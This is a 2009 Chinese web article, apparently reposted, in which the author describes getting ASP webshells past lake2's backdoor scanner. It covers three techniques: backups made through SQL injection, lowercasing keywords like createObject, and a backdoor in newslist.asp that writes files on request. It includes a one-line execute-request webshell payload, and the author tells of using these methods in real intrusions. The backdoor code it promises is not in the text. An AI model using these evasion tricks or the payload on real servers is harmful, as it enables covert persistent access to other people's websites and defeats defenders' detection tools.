首页 电脑 电脑学堂 查看内容

我对web后门的一些看法

2009-2-11 01:58 696 0

摘要: 自从lake2出了后门扫马程序以后,后门的存活率可就大大的减少了,唉,没办法,谁叫人家这么厉害呢,一个程序搞定那么多的小马,可怜菜鸟们了,好不容易留下的后门一下子全被暴...
关键词: 后门 程序 小马 一个 lake2 备份 shellcode 小写 newslist 代码

自从lake2出了后门扫马程序以后,后门的存活率可就大大的减少了,唉,没办法,谁叫人家这么厉害呢,一个程序搞定那么多的小马,可怜菜鸟们了,好不容易留下的后门一下子全被暴露无疑了。这个扫马程序也是很厉害,不过在我的很多测试中,发现了不少lake2扫马程序发现不了的后门,也许lake2得将这个后门改改了,改得更先进一点为好。下面就我的个人经验来谈谈如何躲过lake2的扫马程序。 首先,第一种不被发现的后门是能过SQL注射工具利用db_owner权限备份出来的后门。那还是在一次入侵中发现的,我备份小马后,又上传了扫马程序,想将其它黑客的后门删掉,结果无意中发现这个后门居然没有被扫出来,真是幸运啊,后来我就收藏了这个备份的小马,以后的入侵中也被我当成了一个后门程序来用,呵呵。 其次,改下关键字的大小写就可以躲过了,比如我在一次试验中,将关键字"createObject"全部写成了小写"createobject",当然也可以大小交替,结果又意外地发现扫马程序没有扫出来,所以无论是小马,还是大马,我都采用小写的形式,当然,这样写是不会影响程序的功能的。 第三,通过第二步,做一个自己的小马,这个我已经做好了,代码如下(注意其中的creatobject作了大小写处理): 代码虽然大了些,比不上那些精简的小马,但却也是一种简单的后门吧,使用方法如下:比如我们将这些代码放到newslist.asp里,那么只要我们输入newslist.asp?act=creatshell&shellcode=hello&shellpath=locus.asp,那么我们就可以在与newslist.asp同目录下生成一个locus.asp的文件,内容为"hello",于是我们只要改变shellcode的内容,就可以得到一个shell,比如输入shellcode=<%25execute request("locus")%25>,我们就得到一个一句话后门了,而且这个简单的后门能躲过lake2的扫马程序。 也许还有其它方法,但我还没发现,等发现了再补充啦,呵呵。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部